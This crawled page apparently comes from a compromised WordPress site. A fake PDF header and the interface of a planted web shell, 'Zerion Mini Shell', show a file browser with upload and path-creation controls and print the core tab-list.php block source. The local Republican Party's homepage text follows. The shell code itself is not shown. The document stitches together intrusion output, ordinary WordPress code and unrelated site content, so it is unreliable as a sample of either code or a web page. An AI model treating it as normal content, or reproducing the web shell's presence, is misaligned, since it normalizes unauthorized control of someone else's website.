%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /safe-wp/wp-includes/blocks/
Upload File :
Create Path :
Current File : //safe-wp/wp-includes/blocks/tab-list.php

<?php
/**
 * Tab List Block
 *
 * @package WordPress
 */

/**
 * Render callback for core/tab-list.
 *
 * Injects IAPI directives into the saved button HTML. The buttons already
 * carry color/border/padding styles from save.js; this callback adds
 * tab-specific attributes (id, aria-controls, context) and interactivity
 * directives using data from the tabs-list context.
 *
 * @since 7.1.0
 *
 * @param array     $attributes Block attributes.
 * @param string    $content    Block content (rendered buttons from save.js).
 * @param \WP_Block $block      WP_Block instance.
 *
 * @return string Updated HTML.
 */
function block_core_tab_list_render_callback( array $attributes, string $content, \WP_Block $block ): string {
	$tabs_list  = $block->context['core/tabs-list'] ?? array();
	$aria_label = empty( $attributes['ariaLabel'] ) ? __( 'Tabbed content' ) : wp_strip_all_tags( $attributes['ariaLabel'] );

	$tag_processor = new WP_HTML_Tag_Processor( $content );
	if ( $tag_processor->next_tag( array( 'class_name' => 'wp-block-tab-list' ) ) ) {
		$tag_processor->set_attribute( 'aria-label', $aria_label );
	}

	if ( empty( $tabs_list ) ) {
		return $tag_processor->get_updated_html();
	}

	$tab_index = 0;

	while ( $tag_processor->next_tag( 'button' ) ) {
		$tab_id = $tabs_list[ $tab_index ] ?? null;

		if ( null === $tab_id ) {
			break;
		}

		$tag_processor->set_attribute( 'id', 'tab__' . $tab_id );
		$tag_processor->set_attribute( 'aria-controls', $tab_id );
		$tag_processor->set_attribute( 'data-wp-on--click', 'actions.handleTabClick' );
		$tag_processor->set_attribute( 'data-wp-on--keydown', 'actions.handleTabKeyDown' );
		$tag_processor->set_attribute( 'data-wp-bind--aria-selected', 'state.isActiveTab' );
		$tag_processor->set_attribute( 'data-wp-bind--tabindex', 'state.tabIndexAttribute' );
		$tag_processor->set_attribute(
			'data-wp-context',
			wp_json_encode( array( 'tabIndex' => $tab_index ) )
		);

		++$tab_index;
	}

	return $tag_processor->get_updated_html();
}

/**
 * Registers the `core/tab-list` block on the server.
 *
 * @since 7.1.0
 */
function register_block_core_tab_list() {
	register_block_type_from_metadata(
		__DIR__ . '/tab-list',
		array(
			'render_callback' => 'block_core_tab_list_render_callback',
		)
	);
}
add_action( 'init', 'register_block_core_tab_list' );

Zerion Mini Shell 1.0
Jefferson County Republican Party – Local Republican Party
Home2026-11-20T19:47:34+00:00

Jefferson County
Republican Party

Jefferson County Republican Party

The Jefferson County Republican Party is committed to advancing limited government, lower taxes, less spending and individual liberty. Our goals are to grow the Republican Party by reaching new voters, advancing our platform grounded in conservative principles, and keeping Kentucky prosperous and free.

Limited Government

Lower Taxes

Public Safety

Individual Liberty

Join The JCRP Email List

Receive monthly newsletters about events, election updates, and volunteer opportunities.

ENSURING LIBERTY

Republican Party

Republicans throughout Kentucky come from all walks of life and from every area of our Commonwealth. Republicans are unified by the concept of the primacy of the individual and by an opposition to large, intrusive government. In every county and community in Kentucky, the individual is the heart and soul of our party.

Recent Media

new high for representation in jefferson county

Louisville GOP Marching Toward Nov., 2026 Election

Go to Top